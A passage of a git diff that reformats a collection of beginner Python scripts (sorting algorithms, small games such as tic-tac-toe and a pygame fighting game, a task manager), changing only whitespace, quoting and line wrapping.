b/Search_Engine/frontend.py @@ -7,15 +7,17 @@ def add_document(): se = backend.SearchEngine() print(se.index_document(document)) + def find_term(): term = find_term_entry.get() se = backend.SearchEngine() print(se.find_documents(term)) + if __name__ == "__main__": root = Tk() root.title("Registration Form") - root.geometry('300x300') + root.geometry("300x300") add_documents_label = Label(root, text="Add Document:") add_documents_label.pack() @@ -33,4 +35,4 @@ def find_term(): search_term_button = Button(root, text="search", command=find_term) search_term_button.pack() - root.mainloop() \ No newline at end of file + root.mainloop() diff --git a/Search_Engine/test_data.py b/Search_Engine/test_data.py index d58f43e7d17..1c6c7b043ed 100644 --- a/Search_Engine/test_data.py +++ b/Search_Engine/test_data.py @@ -2,7 +2,7 @@ "we should all strive to be happy", "happiness is all you need", "a cheerful heart is a happy one", - "no way should we be sad" + "no way should we be sad", ] -search = "happy" \ No newline at end of file +search = "happy" diff --git a/Snake-Water-Gun-Game.py b/Snake-Water-Gun-Game.py index 54341645888..3bec7bc458b 100644 --- a/Snake-Water-Gun-Game.py +++ b/Snake-Water-Gun-Game.py @@ -75,7 +75,7 @@ print("Whoever wins more matches will be the winner\n") while x < 10: - print(f"Game No. {x+1}") + print(f"Game No. {x + 1}") for key, value in choices.items(): print(f"Choose {key} for {value}") diff --git a/Snake_water_gun/main.py b/Snake_water_gun/main.py index 23d8b51f5c3..3928079b997 100644 --- a/Snake_water_gun/main.py +++ b/Snake_water_gun/main.py @@ -47,7 +47,6 @@ class bcolors: score = 0 while run and i < 10: - comp_choice = random.choice(li) user_choice = input("Type s for snake, w for water or g for gun: ").lower() @@ -80,7 +79,7 @@ class bcolors: continue i += 1 - print(f"{10-i} matches left") + print(f"{10 - i} matches left") if run == True: print(f"Your score is {score} and the final result is...") diff --git a/Sorting Algorithims/heapsort_linkedlist.py b/Sorting Algorithims/heapsort_linkedlist.py index 7e9584077e6..9f535d20ade 100644 --- a/Sorting Algorithims/heapsort_linkedlist.py +++ b/Sorting Algorithims/heapsort_linkedlist.py @@ -3,6 +3,7 @@ def __init__(self, data): self.data = data self.next = None + class LinkedList: def __init__(self): self.head = None @@ -64,6 +65,7 @@ def heap_sort(self): self.swap(0, i) self.heapify(i, 0) + # Example usage: linked_list = LinkedList() linked_list.push(12) diff --git a/Sorting Algorithims/mergesort_linkedlist.py b/Sorting Algorithims/mergesort_linkedlist.py index 429684b6c0c..4e833dc2e29 100644 --- a/Sorting Algorithims/mergesort_linkedlist.py +++ b/Sorting Algorithims/mergesort_linkedlist.py @@ -1,10 +1,12 @@ from __future__ import annotations + class Node: def __init__(self, data: int) -> None: self.data = data self.next = None + class LinkedList: def __init__(self): self.head = None @@ -17,13 +19,14 @@ def insert(self, new_data: int) -> None: def printLL(self) -> None: temp = self.head if temp == None: - return 'Linked List is empty' + return "Linked List is empty" while temp.next: - print(temp.data, '->', end='') + print(temp.data, "->", end="") temp = temp.next print(temp.data) return + # Merge two sorted linked lists def merge(left, right): if not left: @@ -40,6 +43,7 @@ def merge(left, right): return result + # Merge sort for linked list def merge_sort(head): if not head or not head.next: @@ -61,9 +65,12 @@ def merge_sort(head): return merge(left, right) + if __name__ == "__main__": ll = LinkedList() - print("Enter the space-separated values of numbers to be inserted in the linked list prompted below:") + print( + "Enter the space-separated values of numbers to be inserted in the linked list prompted below:" + ) arr = list(map(int, input().split())) for num in arr: ll.insert(num) @@ -73,5 +80,5 @@ def merge_sort(head): ll.head = merge_sort(ll.head) - print('Linked list after sorting:') + print("Linked list after sorting:") ll.printLL() diff --git a/Sorting Algorithims/quicksort_linkedlist.py b/Sorting Algorithims/quicksort_linkedlist.py index 97de82e2bc2..70804343a98 100644 --- a/Sorting Algorithims/quicksort_linkedlist.py +++ b/Sorting Algorithims/quicksort_linkedlist.py @@ -1,8 +1,9 @@ """ -Given a linked list with head pointer, +Given a linked list with head pointer, sort the linked list using quicksort technique without using any extra space Time complexity: O(NlogN), Space complexity: O(1) """ + from __future__ import annotations @@ -26,13 +27,14 @@ def insert(self, new_data: int) -> None: def printLL(self) -> None: temp = self.head if temp == None: - return 'Linked List is empty' + return "Linked List is empty" while temp.next: - print(temp.data, '->', end='') + print(temp.data, "->", end="") temp = temp.next print(temp.data) return + # Partition algorithm with pivot as first element @@ -65,12 +67,14 @@ def quicksort_LL(start, end): if __name__ == "__main__": ll = LinkedList() - print("Enter the space seperated values of numbers to be inserted in linkedlist prompted below:") + print( + "Enter the space seperated values of numbers to be inserted in linkedlist prompted below:" + ) arr = list(map(int, input().split())) for num in arr: ll.insert(num) print("Linkedlist before sorting:") ll.printLL() quicksort_LL(ll.head, None) - print('Linkedlist after sorting: ') + print("Linkedlist after sorting: ") ll.printLL() diff --git a/Sorting Algorithms/Bubble_Sorting_Prog.py b/Sorting Algorithms/Bubble_Sorting_Prog.py index 20c56177a90..ddb8f949e42 100644 --- a/Sorting Algorithms/Bubble_Sorting_Prog.py +++ b/Sorting Algorithms/Bubble_Sorting_Prog.py @@ -1,5 +1,4 @@ def bubblesort(list): - # Swap the elements to arrange in order for iter_num in range(len(list) - 1, 0, -1): for idx in range(iter_num): diff --git a/Sorting Algorithms/Counting-sort.py b/Sorting Algorithms/Counting-sort.py index 34b1667762d..0b3326b563a 100644 --- a/Sorting Algorithms/Counting-sort.py +++ b/Sorting Algorithms/Counting-sort.py @@ -7,7 +7,6 @@ def counting_sort(tlist, k, n): - """Counting sort algo with sort in place. Args: tlist: target list to sort diff --git a/Sorting Algorithms/Cycle Sort.py b/Sorting Algorithms/Cycle Sort.py index 20dca703907..93e6bd80a36 100644 --- a/Sorting Algorithms/Cycle Sort.py +++ b/Sorting Algorithms/Cycle Sort.py @@ -26,7 +26,6 @@ def cycleSort(array): # Rotate the rest of the cycle. while pos != cycleStart: - # Find where to put the item. pos = cycleStart for i in range(cycleStart + 1, len(array)): diff --git a/Sorting Algorithms/Heap sort.py b/Sorting Algorithms/Heap sort.py index 69aa753c283..6e5a80c3aff 100644 --- a/Sorting Algorithms/Heap sort.py +++ b/Sorting Algorithms/Heap sort.py @@ -46,4 +46,4 @@ def heapSort(arr): n = len(arr) print("Sorted array is") for i in range(n): - print("%d" % arr[i]), + (print("%d" % arr[i]),) diff --git a/Sorting Algorithms/Iterative Merge Sort.py b/Sorting Algorithms/Iterative Merge Sort.py index 63173b6bf5c..734cf1954c0 100644 --- a/Sorting Algorithms/Iterative Merge Sort.py +++ b/Sorting Algorithms/Iterative Merge Sort.py @@ -3,20 +3,17 @@ # Iterative mergesort function to # sort arr[0...n-1] def mergeSort(a): - current_size = 1 # Outer loop for traversing Each # sub array of current_size while current_size < len(a) - 1: - left = 0 # Inner loop for merge call # in a sub array # Each complete Iteration sorts # the iterating sub array while left < len(a) - 1: - # mid index = left index of # sub array + current sub # array size - 1 diff --git a/Sorting Algorithms/Merge Sort.py b/Sorting Algorithms/Merge Sort.py index a4d2b6da18c..ae4ea350c39 100644 --- a/Sorting Algorithms/Merge Sort.py +++ b/Sorting Algorithms/Merge Sort.py @@ -70,9 +70,9 @@ def mergeSort(arr, l, r): n = len(arr) print("Given array is") for i in range(n): - print("%d" % arr[i]), + (print("%d" % arr[i]),) mergeSort(arr, 0, n - 1) print("\n\nSorted array is") for i in range(n): - print("%d" % arr[i]), + (print("%d" % arr[i]),) diff --git a/Sorting Algorithms/Quick sort.py b/Sorting Algorithms/Quick sort.py index 983c10cb82a..937f08a7a13 100644 --- a/Sorting Algorithms/Quick sort.py +++ b/Sorting Algorithms/Quick sort.py @@ -3,7 +3,6 @@ def partition(arr, low, high): pivot = arr[high] # pivot for j in range(low, high): - # If current element is smaller than or # equal to pivot if arr[j] <= pivot: @@ -43,4 +42,4 @@ def quickSort(arr, low, high): quickSort(arr, 0, n - 1) print("Sorted array is:") for i in range(n): - print("%d" % arr[i]), + (print("%d" % arr[i]),) diff --git a/Sorting Algorithms/Shell Sort.py b/Sorting Algorithms/Shell Sort.py index dc01735b12b..74fc4206364 100644 --- a/Sorting Algorithms/Shell Sort.py +++ b/Sorting Algorithms/Shell Sort.py @@ -2,7 +2,6 @@ def shellSort(arr): - # Start with a big gap, then reduce the gap n = len(arr) gap = n / 2 @@ -12,9 +11,7 @@ def shellSort(arr): # order keep adding one more element until the entire array # is gap sorted while gap > 0: - for i in range(gap, n): - # add a[i] to the elements that have been gap sorted # save a[i] in temp and make a hole at position i temp = arr[i] @@ -37,12 +34,12 @@ def shellSort(arr): n = len(arr) print("Array before sorting:") for i in range(n): - print(arr[i]), + (print(arr[i]),) shellSort(arr) print("\nArray after sorting:") for i in range(n): - print(arr[i]), + (print(arr[i]),) # This code is contributed by mohd-mehraj diff --git a/Sorting Algorithms/Sort the values of first list using second list.py b/Sorting Algorithms/Sort the values of first list using second list.py index 61bfa9cad10..2212a6b9fda 100644 --- a/Sorting Algorithms/Sort the values of first list using second list.py +++ b/Sorting Algorithms/Sort the values of first list using second list.py @@ -3,7 +3,6 @@ def sort_list(list1, list2): - zipped_pairs = zip(list2, list1) z = [x for _, x in sorted(zipped_pairs)] diff --git a/Sorting Algorithms/Tim_sort.py b/Sorting Algorithms/Tim_sort.py index 9cbbb313e5d..80566ee6249 100644 --- a/Sorting Algorithms/Tim_sort.py +++ b/Sorting Algorithms/Tim_sort.py @@ -1,24 +1,22 @@ -""" Author : Mohit Kumar - - Tim Sort implemented in python - Time Complexity : O(n log(n)) - Space Complexity :O(n) +"""Author : Mohit Kumar + +Tim Sort implemented in python +Time Complexity : O(n log(n)) +Space Complexity :O(n) """ # Python3 program to perform TimSort. RUN = 32 + # This function sorts array from left index to # to right index which is of size atmost RUN def insertionSort(arr, left, right): - for i in range(left + 1, right + 1): - temp = arr[i] j = i - 1 while j >= left and arr[j] > temp: - arr[j + 1] = arr[j] j -= 1 @@ -27,7 +25,6 @@ def insertionSort(arr, left, right): # merge function merges the sorted runs def merge(arr, l, m, r): - # original array is broken in two parts # left and right array len1, len2 = m - l + 1, r - m @@ -41,7 +38,6 @@ def merge(arr, l, m, r): # after comparing, we merge those two array # in larger sub array while i < len1 and j < len2: - if left[i] <= right[j]: arr[k] = left[i] i += 1 @@ -54,7 +50,6 @@ def merge(arr, l, m, r): # copy remaining elements of left, if any while i < len1: - arr[k] = left[i] k += 1 i += 1 @@ -69,7 +64,6 @@ def merge(arr, l, m, r): # iterative Timsort function to sort the # array[0...n-1] (similar to merge sort) def timSort(arr, n): - # Sort individual subarrays of size RUN for i in range(0, n, RUN): insertionSort(arr, i, min((i + 31), (n - 1))) @@ -78,13 +72,11 @@ def timSort(arr, n): # to form size 64, then 128, 256 and so on .... size = RUN while size < n: - # pick starting point of left sub array. We # are going to merge arr[left..left+size-1] # and arr[left+size, left+2*size-1] # After every merge, we increase left by 2*size for left in range(0, n, 2 * size): - # find ending point of left sub array # mid+1 is starting point of right sub array mid = left + size - 1 @@ -99,14 +91,12 @@ def timSort(arr, n): # utility function to print the Array def printArray(arr, n): - for i in range(0, n): print(arr[i], end=" ") print() if __name__ == "__main__": - n = int(input("Enter size of array\n")) print("Enter elements of array\n") diff --git a/Sorting Algorithms/bubblesortpgm.py b/Sorting Algorithms/bubblesortpgm.py index 2e51d9e5259..ee10d030ffb 100644 --- a/Sorting Algorithms/bubblesortpgm.py +++ b/Sorting Algorithms/bubblesortpgm.py @@ -31,7 +31,6 @@ def bubbleSort(arr): not_swap = True # Last i elements are already in place for j in range(0, n - i - 1): - # traverse the array from 0 to n-i-1 # Swap if the element found is greater # than the next element @@ -49,4 +48,4 @@ def bubbleSort(arr): print("Sorted array is:") for i in range(len(arr)): - print("%d" % arr[i]), + (print("%d" % arr[i]),) diff --git a/Sorting Algorithms/dual_pivot_quicksort.py b/Sorting Algorithms/dual_pivot_quicksort.py index ef625d2fb13..739c2144167 100644 --- a/Sorting Algorithms/dual_pivot_quicksort.py +++ b/Sorting Algorithms/dual_pivot_quicksort.py @@ -2,10 +2,10 @@ def dual_pivot_quicksort(arr, low, high): """ Performs Dual-Pivot QuickSort on the input array. - Dual-Pivot QuickSort is an optimized version of QuickSort that uses - two pivot elements to partition the array into three segments in each - recursive call. This improves performance by reducing the number of - recursive calls, making it faster on average than the single-pivot + Dual-Pivot QuickSort is an optimized version of QuickSort that uses + two pivot elements to partition the array into three segments in each + recursive call. This improves performance by reducing the number of + recursive calls, making it faster on average than the single-pivot QuickSort. Parameters: @@ -26,6 +26,7 @@ def dual_pivot_quicksort(arr, low, high): # Recursively sort elements greater than pivot2 dual_pivot_quicksort(arr, rp + 1, high) + def partition(arr, low, high): """ Partitions the array segment defined by low and high using two pivots. @@ -50,17 +51,23 @@ def partition(arr, low, high): pivot2 = arr[high] # right pivot # Initialize pointers - i = low + 1 # Pointer to traverse the array - lt = low + 1 # Boundary for elements less than pivot1 - gt = high - 1 # Boundary for elements greater than pivot2 + i = low + 1 # Pointer to traverse the array + lt = low + 1 # Boundary for elements less than pivot1 + gt = high - 1 # Boundary for elements greater than pivot2 # Traverse and partition the array based on the two pivots while i <= gt: if arr[i] < pivot1: - arr[i], arr[lt] = arr[lt], arr[i] # Swap to move smaller elements to the left + arr[i], arr[lt] = ( + arr[lt], + arr[i], + ) # Swap to move smaller elements to the left lt += 1 elif arr[i] > pivot2: - arr[i], arr[gt] = arr[gt], arr[i] # Swap to move larger elements to the right + arr[i], arr[gt] = ( + arr[gt], + arr[i], + ) # Swap to move larger elements to the right gt -= 1 i -= 1 # Decrement i to re-evaluate the swapped element i += 1 @@ -68,11 +75,12 @@ def partition(arr, low, high): # Place the pivots in their correct sorted positions lt -= 1 gt += 1 - arr[low], arr[lt] = arr[lt], arr[low] # Place pivot1 at its correct position - arr[high], arr[gt] = arr[gt], arr[high] # Place pivot2 at its correct position + arr[low], arr[lt] = arr[lt], arr[low] # Place pivot1 at its correct position + arr[high], arr[gt] = arr[gt], arr[high] # Place pivot2 at its correct position return lt, gt # Return the indices of the two pivots + # Example usage # Sample Test Case arr = [24, 8, 42, 75, 29, 77, 38, 57] diff --git a/Sorting Algorithms/pigeonhole_sort.py b/Sorting Algorithms/pigeonhole_sort.py index cf6f8a5ca6c..e3f733481e4 100644 --- a/Sorting Algorithms/pigeonhole_sort.py +++ b/Sorting Algorithms/pigeonhole_sort.py @@ -3,7 +3,6 @@ def pigeonhole_sort(a): - # (number of pigeonholes we need) my_min = min(a) my_max = max(a) diff --git a/SpeechToText.py b/SpeechToText.py index 88fe2e5cf69..0d8f18fbf9b 100644 --- a/SpeechToText.py +++ b/SpeechToText.py @@ -7,8 +7,8 @@ print(voice.id) print(voice.name) -id =r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Speech\Voices\Tokens\TTS_MS_EN-US_DAVID_11.0" -engine.setProperty("voices",id ) -engine.setProperty("rate",165) +id = r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Speech\Voices\Tokens\TTS_MS_EN-US_DAVID_11.0" +engine.setProperty("voices", id) +engine.setProperty("rate", 165) engine.say("jarivs") # Replace string with our own text -engine.runAndWait() \ No newline at end of file +engine.runAndWait() diff --git a/Split_Circular_Linked_List.py b/Split_Circular_Linked_List.py index eadba3ce34a..26e4a2b8dd2 100644 --- a/Split_Circular_Linked_List.py +++ b/Split_Circular_Linked_List.py @@ -48,7 +48,6 @@ def Display(self): if __name__ == "__main__": - L_list = Circular_Linked_List() head1 = Circular_Linked_List() head2 = Circular_Linked_List() diff --git a/Street_Fighter/src/fighter.py b/Street_Fighter/src/fighter.py index bcd03297baa..94fc68abd16 100644 --- a/Street_Fighter/src/fighter.py +++ b/Street_Fighter/src/fighter.py @@ -1,4 +1,6 @@ import pygame + + class Fighter: def __init__(self, player, x, y, flip, data, sprite_sheet, animation_steps, sound): self.player = player @@ -29,9 +31,15 @@ def load_images(self, sprite_sheet, animation_steps): for y, animation in enumerate(animation_steps): temp_img_list = [] for x in range(animation): - temp_img = sprite_sheet.subsurface(x * self.size, y * self.size, self.size, self.size) + temp_img = sprite_sheet.subsurface( + x * self.size, y * self.size, self.size, self.size + ) temp_img_list.append( - pygame.transform.scale(temp_img, (self.size * self.image_scale, self.size * self.image_scale))) + pygame.transform.scale( + temp_img, + (self.size * self.image_scale, self.size * self.image_scale), + ) + ) animation_list.append(temp_img_list) return animation_list @@ -171,8 +179,12 @@ def attack(self, target): # execute attack self.attacking = True self.attack_sound.play() - attacking_rect = pygame.Rect(self.rect.centerx - (2 * self.rect.width * self.flip), self.rect.y, - 2 * self.rect.width, self.rect.height) + attacking_rect = pygame.Rect( + self.rect.centerx - (2 * self.rect.width * self.flip), + self.rect.y, + 2 * self.rect.width, + self.rect.height, + ) if attacking_rect.colliderect(target.rect): target.health -= 10 target.hit = True @@ -187,4 +199,10 @@ def update_action(self, new_action): def draw(self, surface): img = pygame.transform.flip(self.image, self.flip, False) - surface.blit(img, (self.rect.x - (self.offset[0] * self.image_scale), self.rect.y - (self.offset[1] * self.image_scale))) + surface.blit( + img, + ( + self.rect.x - (self.offset[0] * self.image_scale), + self.rect.y - (self.offset[1] * self.image_scale), + ), + ) diff --git a/Street_Fighter/src/main.py b/Street_Fighter/src/main.py index 1301e2e3f95..62778cee3b3 100644 --- a/Street_Fighter/src/main.py +++ b/Street_Fighter/src/main.py @@ -7,6 +7,7 @@ import sys from fighter import Fighter + # Helper Function for Bundled Assets def resource_path(relative_path): try: @@ -16,6 +17,7 @@ def resource_path(relative_path): return os.path.join(base_path, relative_path) + mixer.init() pygame.init() @@ -41,13 +43,21 @@ def resource_path(relative_path): # Load Assets bg_image = cv2.imread(resource_path("assets/images/bg1.jpg")) -victory_img = pygame.image.load(resource_path("assets/images/victory.png")).convert_alpha() -warrior_victory_img = pygame.image.load(resource_path("assets/images/warrior.png")).convert_alpha() -wizard_victory_img = pygame.image.load(resource_path("assets/images/wizard.png")).convert_alpha() +victory_img = pygame.image.load( + resource_path("assets/images/victory.png") +).convert_alpha() +warrior_victory_img = pygame.image.load( + resource_path("assets/images/warrior.png") +).convert_alpha() +wizard_victory_img = pygame.image.load( + resource_path("assets/images/wizard.png") +).convert_alpha() # Fonts menu_font = pygame.font.Font(resource_path("assets/fonts/turok.ttf"), 50) -menu_font_title = pygame.font.Font(resource_path("assets/fonts/turok.ttf"), 100) # Larger font for title +menu_font_title = pygame.font.Font( + resource_path("assets/fonts/turok.ttf"), 100 +) # Larger font for title count_font = pygame.font.Font(resource_path("assets/fonts/turok.ttf"), 80) score_font = pygame.font.Font(resource_path("assets/fonts/turok.ttf"), 30) @@ -61,8 +71,12 @@ def resource_path(relative_path): magic_fx.set_volume(0.75) # Load Fighter Spritesheets -warrior_sheet = pygame.image.load(resource_path("assets/images/warrior.png")).convert_alpha() -wizard_sheet = pygame.image.load(resource_path("assets/images/wizard.png")).convert_alpha() +warrior_sheet = pygame.image.load( + resource_path("assets/images/warrior.png") +).convert_alpha() +wizard_sheet = pygame.image.load( + resource_path("assets/images/wizard.png") +).convert_alpha() # Define Animation Steps WARRIOR_ANIMATION_STEPS = [10, 8, 1, 7, 7, 3, 7] @@ -117,13 +131,24 @@ def draw_button(text, font, text_col, button_col, x, y, width, height): def victory_screen(winner_img): start_time = pygame.time.get_ticks() while pygame.time.get_ticks() - start_time < ROUND_OVER_COOLDOWN: - - resized_victory_img = pygame.transform.scale(victory_img, (victory_img.get_width() * 2, victory_img.get_height() * 2)) - screen.blit(resized_victory_img, (SCREEN_WIDTH // 2 - resized_victory_img.get_width() // 2, - SCREEN_HEIGHT // 2 - resized_victory_img.get_height() // 2 - 50)) - - screen.blit(winner_img, (SCREEN_WIDTH // 2 - winner_img.get_width() // 2, - SCREEN_HEIGHT // 2 - winner_img.get_height() // 2 + 100)) + resized_victory_img = pygame.transform.scale( + victory_img, (victory_img.get_width() * 2, victory_img.get_height() * 2) + ) + screen.blit( + resized_victory_img, + ( + SCREEN_WIDTH // 2 - resized_victory_img.get_width() // 2, + SCREEN_HEIGHT // 2 - resized_victory_img.get_height() // 2 - 50, + ), + ) + + screen.blit( + winner_img, + ( + SCREEN_WIDTH // 2 - winner_img.get_width() // 2, + SCREEN_HEIGHT // 2 - winner_img.get_height() // 2 + 100, + ), + ) pygame.display.update() @@ -151,7 +176,9 @@ def main_menu(): elapsed_time = (pygame.time.get_ticks() - animation_start_time) / 1000 scale_factor = 1 + 0.05 * math.sin(elapsed_time * 2 * math.pi) # Slight scaling - scaled_font = pygame.font.Font("assets/fonts/turok.ttf", int(100 * scale_factor)) + scaled_font = pygame.font.Font( + "assets/fonts/turok.ttf", int(100 * scale_factor) + ) title_text = "STREET FIGHTER" colors = [BLUE, GREEN, YELLOW] @@ -160,23 +187,57 @@ def main_menu(): title_y = SCREEN_HEIGHT // 6 shadow_offset = 5 - draw_text(title_text, scaled_font, shadow_color, title_x + shadow_offset, title_y + shadow_offset) + draw_text( + title_text, + scaled_font, + shadow_color, + title_x + shadow_offset, + title_y + shadow_offset, + ) draw_gradient_text(title_text, scaled_font, title_x, title_y, colors) button_width = 280 button_height = 60 button_spacing = 30 - start_button_y = SCREEN_HEIGHT // 2 - (button_height + button_spacing) * 1.5 + 50 - scores_button_y = SCREEN_HEIGHT // 2 - (button_height + button_spacing) * 0.5 + 50 + start_button_y = ( + SCREEN_HEIGHT // 2 - (button_height + button_spacing) * 1.5 + 50 + ) + scores_button_y = ( + SCREEN_HEIGHT // 2 - (button_height + button_spacing) * 0.5 + 50 + ) exit_button_y = SCREEN_HEIGHT // 2 + (button_height + button_spacing) * 0.5 + 50 - start_button = draw_button("START GAME", menu_font, BLACK, GREEN, SCREEN_WIDTH // 2 - button_width // 2, - start_button_y, button_width, button_height) - scores_button = draw_button("SCORES", menu_font, BLACK, GREEN, SCREEN_WIDTH // 2 - button_width // 2, - scores_button_y, button_width, button_height) - exit_button = draw_button("EXIT", menu_font, BLACK, GREEN, SCREEN_WIDTH // 2 - button_width // 2, - exit_button_y, button_width, button_height) + start_button = draw_button( + "START GAME", + menu_font, + BLACK, + GREEN, + SCREEN_WIDTH // 2 - button_width // 2, + start_button_y, + button_width, + button_height, + ) + scores_button = draw_button( + "SCORES", + menu_font, + BLACK, + GREEN, + SCREEN_WIDTH // 2 - button_width // 2, + scores_button_y, + button_width, + button_height, + ) + exit_button = draw_button( + "EXIT", + menu_font, + BLACK, + GREEN, + SCREEN_WIDTH // 2 - button_width // 2, + exit_button_y, + button_width, + button_height, + ) for event in pygame.event.get(): if event.type == pygame.QUIT: @@ -200,24 +261,57 @@ def scores_screen(): draw_bg(bg_image) scores_title = "SCORES" - draw_text(scores_title, menu_font_title, RED, SCREEN_WIDTH // 2 - menu_font_title.size(scores_title)[0] // 2, 50) - - score_font_large = pygame.font.Font("assets/fonts/turok.ttf", 60) # Increased size for scores + draw_text( + scores_title, + menu_font_title, + RED, + SCREEN_WIDTH // 2 - menu_font_title.size(scores_title)[0] // 2, + 50, + ) + + score_font_large = pygame.font.Font( + "assets/fonts/turok.ttf", 60 + ) # Increased size for scores p1_text = f"P1: {score[0]}" p2_text = f"P2: {score[1]}" shadow_offset = 5 p1_text_x = SCREEN_WIDTH // 2 - score_font_large.size(p1_text)[0] // 2 p1_text_y = SCREEN_HEIGHT // 2 - 50 - draw_text(p1_text, score_font_large, BLACK, p1_text_x + shadow_offset, p1_text_y + shadow_offset) # Shadow - draw_gradient_text(p1_text, score_font_large, p1_text_x, p1_text_y, [BLUE, GREEN]) # Gradient + draw_text( + p1_text, + score_font_large, + BLACK, + p1_text_x + shadow_offset, + p1_text_y + shadow_offset, + ) # Shadow + draw_gradient_text( + p1_text, score_font_large, p1_text_x, p1_text_y, [BLUE, GREEN] + ) # Gradient p2_text_x = SCREEN_WIDTH // 2 - score_font_large.size(p2_text)[0] // 2 p2_text_y = SCREEN_HEIGHT // 2 + 50 - draw_text(p2_text, score_font_large, BLACK, p2_text_x + shadow_offset, p2_text_y + shadow_offset) # Shadow - draw_gradient_text(p2_text, score_font_large, p2_text_x, p2_text_y, [RED, YELLOW]) # Gradient - - return_button = draw_button("RETURN TO MAIN MENU", menu_font, BLACK, GREEN, SCREEN_WIDTH // 2 - 220, 700, 500, 50) + draw_text( + p2_text, + score_font_large, + BLACK, + p2_text_x + shadow_offset, + p2_text_y + shadow_offset, + ) # Shadow + draw_gradient_text( + p2_text, score_font_large, p2_text_x, p2_text_y, [RED, YELLOW] + ) # Gradient + + return_button = draw_button( + "RETURN TO MAIN MENU", + menu_font, + BLACK, + GREEN, + SCREEN_WIDTH // 2 - 220, + 700, + 500, + 50, + ) for event in pygame.event.get(): if event.type == pygame.QUIT: @@ -233,8 +327,19 @@ def scores_screen(): def reset_game(): global fighter_1, fighter_2 - fighter_1 = Fighter(1, 200, 310, False, WARRIOR_DATA, warrior_sheet, WARRIOR_ANIMATION_STEPS, sword_fx) - fighter_2 = Fighter(2, 700, 310, True, WIZARD_DATA, wizard_sheet, WIZARD_ANIMATION_STEPS, magic_fx) + fighter_1 = Fighter( + 1, + 200, + 310, + False, + WARRIOR_DATA, + warrior_sheet, + WARRIOR_ANIMATION_STEPS, + sword_fx, + ) + fighter_2 = Fighter( + 2, 700, 310, True, WIZARD_DATA, wizard_sheet, WIZARD_ANIMATION_STEPS, magic_fx + ) def draw_health_bar(health, x, y): @@ -278,7 +383,9 @@ def game_loop(): draw_health_bar(fighter_1.health, 20, 50) draw_health_bar(fighter_2.health, SCREEN_WIDTH - 220, 50) - exit_button = draw_button("MAIN MENU", menu_font, BLACK, YELLOW, SCREEN_WIDTH // 2 - 150, 20, 300, 50) + exit_button = draw_button( + "MAIN MENU", menu_font, BLACK, YELLOW, SCREEN_WIDTH // 2 - 150, 20, 300, 50 + ) if not round_over: fighter_1.move(SCREEN_WIDTH, SCREEN_HEIGHT, fighter_2, round_over) diff --git a/String_Palindrome.py b/String_Palindrome.py index ab4103fd863..b1d9300fb8f 100644 --- a/String_Palindrome.py +++ b/String_Palindrome.py @@ -10,6 +10,6 @@ # check if the string is equal to its reverse if my_str == rev_str: - print("The string is a palindrome.") + print("The string is a palindrome.") else: - print("The string is not a palindrome.") + print("The string is not a palindrome.") diff --git a/Sum of digits of a number.py b/Sum of digits of a number.py index c000547c7bc..ba111336965 100644 --- a/Sum of digits of a number.py +++ b/Sum of digits of a number.py @@ -2,32 +2,44 @@ import sys + def get_integer(): - for i in range(3,0,-1): # executes the loop 3 times. Giving 3 chances to the user. + for i in range( + 3, 0, -1 + ): # executes the loop 3 times. Giving 3 chances to the user. num = input("enter a number:") - if num.isnumeric(): # checks if entered input is an integer string or not. - num = int(num) # converting integer string to integer. And returns it to where function is called. + if num.isnumeric(): # checks if entered input is an integer string or not. + num = int( + num + ) # converting integer string to integer. And returns it to where function is called. return num else: - print("enter integer only") - print(f'{i-1} chances are left' if (i-1)>1 else f'{i-1} chance is left') # prints if user entered wrong input and chances left. - continue - + print("enter integer only") + print( + f"{i - 1} chances are left" + if (i - 1) > 1 + else f"{i - 1} chance is left" + ) # prints if user entered wrong input and chances left. + continue + def addition(num): - Sum=0 - if type(num) is type(None): # Checks if number type is none or not. If type is none program exits. + Sum = 0 + if type(num) is type( + None + ): # Checks if number type is none or not. If type is none program exits. print("Try again!") sys.exit() - while num > 0: # Addition- adding the digits in the number. + while num > 0: # Addition- adding the digits in the number. digit = int(num % 10) Sum += digit num /= 10 - return Sum # Returns sum to where the function is called. - + return Sum # Returns sum to where the function is called. -if __name__ == '__main__': # this is used to overcome the problems while importing this file. +if ( + __name__ == "__main__" +): # this is used to overcome the problems while importing this file. number = get_integer() Sum = addition(number) - print(f'Sum of digits of {number} is {Sum}') # Prints the sum + print(f"Sum of digits of {number} is {Sum}") # Prints the sum diff --git a/TIC_TAC_TOE/index.py b/TIC_TAC_TOE/index.py index 95245d34fe5..afe1f9d1b78 100644 --- a/TIC_TAC_TOE/index.py +++ b/TIC_TAC_TOE/index.py @@ -3,18 +3,26 @@ def print_board(board): print(" | ".join(row)) print("-" * 9) + def check_winner(board, player): for i in range(3): # Check rows and columns - if all(board[i][j] == player for j in range(3)) or all(board[j][i] == player for j in range(3)): + if all(board[i][j] == player for j in range(3)) or all( + board[j][i] == player for j in range(3) + ): return True # Check diagonals - if all(board[i][i] == player for i in range(3)) or all(board[i][2 - i] == player for i in range(3)): + if all(board[i][i] == player for i in range(3)) or all( + board[i][2 - i] == player for i in range(3) + ): return True return False + def is_full(board): return all(cell != " " for row in board for cell in row) + + # A function that validates user input def get_valid_input(prompt): while True: @@ -27,6 +35,7 @@ def get_valid_input(prompt): except ValueError: print("Invalid input: Please enter an integer.") + def main(): board = [[" " for _ in range(3)] for _ in range(3)] player = "X" @@ -56,5 +65,6 @@ def main(): else: print("Invalid move: That spot is already taken. Try again.") + if __name__ == "__main__": main() diff --git a/TaskManager.py b/TaskManager.py index b40a7f6beec..d54a7f59756 100644 --- a/TaskManager.py +++ b/TaskManager.py @@ -1,30 +1,37 @@ import csv -def load_tasks(filename='tasks.csv'): + +def load_tasks(filename="tasks.csv"): tasks = [] - with open(filename, 'r', newline='') as file: + with open(filename, "r", newline="") as file: reader = csv.reader(file) for row in reader: - tasks.append({'task': row[0], 'deadline': row[1], 'completed': row[2]}) + tasks.append({"task": row[0], "deadline": row[1], "completed": row[2]}) return tasks -def save_tasks(tasks, filename='tasks.csv'): - with open(filename, 'w', newline='') as file: + +def save_tasks(tasks, filename="tasks.csv"): + with open(filename, "w", newline="") as file: writer = csv.writer(file) for task in tasks: - writer.writerow([task['task'], task['deadline'], task['completed']]) + writer.writerow([task["task"], task["deadline"], task["completed"]]) + def add_task(task, deadline): tasks = load_tasks() - tasks.append({'task': task, 'deadline': deadline, 'completed': 'No'}) + tasks.append({"task": task, "deadline": deadline, "completed": "No"}) save_tasks(tasks) print("Task added successfully!") + def show_tasks(): tasks = load_tasks() for task in tasks: - print(f"Task: {task['task']}, 